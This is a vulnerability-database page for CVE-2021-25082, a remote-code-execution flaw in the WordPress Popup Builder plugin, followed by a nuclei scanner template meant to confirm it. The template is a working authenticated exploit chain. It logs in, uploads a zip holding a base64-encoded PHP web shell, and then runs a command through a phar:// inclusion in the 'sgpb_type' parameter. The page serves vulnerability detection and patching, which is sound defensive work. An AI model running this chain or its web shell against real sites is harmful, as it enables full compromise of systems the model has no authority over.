Browse / CVEs / CVE-2021-25082
CVE-2021-25082· CWE-98
WordPress Popup Builder < 4.0.7 - Remote Code Execution
criticalseverity
8.8CVSS score
5.2%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
Impact
Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
Fix
Update to version 4.0.7 or later
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/upload.php
Positive when: status_code == 200 and contains(body, '_wpnonce')
Send: POST /wp-admin/async-upload.php
Positive when: status_code == 200 and contains_all(body, "success", ".zip")
Send: GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip
Positive when: status_code == 200 and contains(header, "application/zip")
Send: GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}}
Positive when: status_code == 200 and contains(body, "{{marker}}")Run it with nuclei: nuclei -id CVE-2021-25082 -u <target>
The full check
id: CVE-2021-25082
info:
name: WordPress Popup Builder < 4.0.7 - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter.
impact: |
Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise.
remediation: |
Update to version 4.0.7 or later
reference:
- https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25082
classification:
cve-id: CVE-2021-25082
epss-score: 0.05229
epss-percentile: 0.92585
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cwe-id: CWE-98
metadata:
verified: true
max-request: 5
tags: cve,cve2021,wordpress,wp-plugin,rce,popup-builder,authenticated,vkev,vuln
variables:
marker: "{{to_lower(rand_text_alpha(10))}}"
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/upload.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, '_wpnonce')
condition: and
internal: true
extractors:
- type: regex
name: nonce
group: 1
regex:
- '"_wpnonce":"([a-f0-9]+)"'
internal: true
- raw:
- |
POST /wp-admin/async-upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="name"
malicious.zip
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="action"
upload-attachment
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="_wpnonce"
{{nonce}}
------WebKitFormBoundary{{randstr}}
Content-Disposition: form-data; name="async-upload"; filename="malicious.zip"
Content-Type: application/zip
{{base64_decode("UEsDBAoAAAAAAHINkVuOOgt7HwAAAB8AAAAJABwAUG9wdXAucGhwVVQJAAPHCkJpxwpCaXV4CwABBAAAAAAEAAAAADw/cGhwIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/PgpQSwECHgMKAAAAAAByDZFbjjoLex8AAAAfAAAACQAYAAAAAAABAAAApIEAAAAAUG9wdXAucGhwVVQFAAPHCkJpdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATwAAAGIAAAAAAA==")}}
------WebKitFormBoundary{{randstr}}--
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "success", ".zip")
condition: and
internal: true
extractors:
- type: regex
name: upload_year
group: 1
internal: true
regex:
- 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.zip'
- type: regex
name: upload_month
group: 1
internal: true
regex:
- 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.zip'
- raw:
- |
GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(header, "application/zip")
condition: and
internal: true
- raw:
- |
GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "{{marker}}")
condition: andReferences
- https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/
- https://nvd.nist.gov/vuln/detail/CVE-2021-25082
Use this check only on systems you are authorised to test. Where the data comes from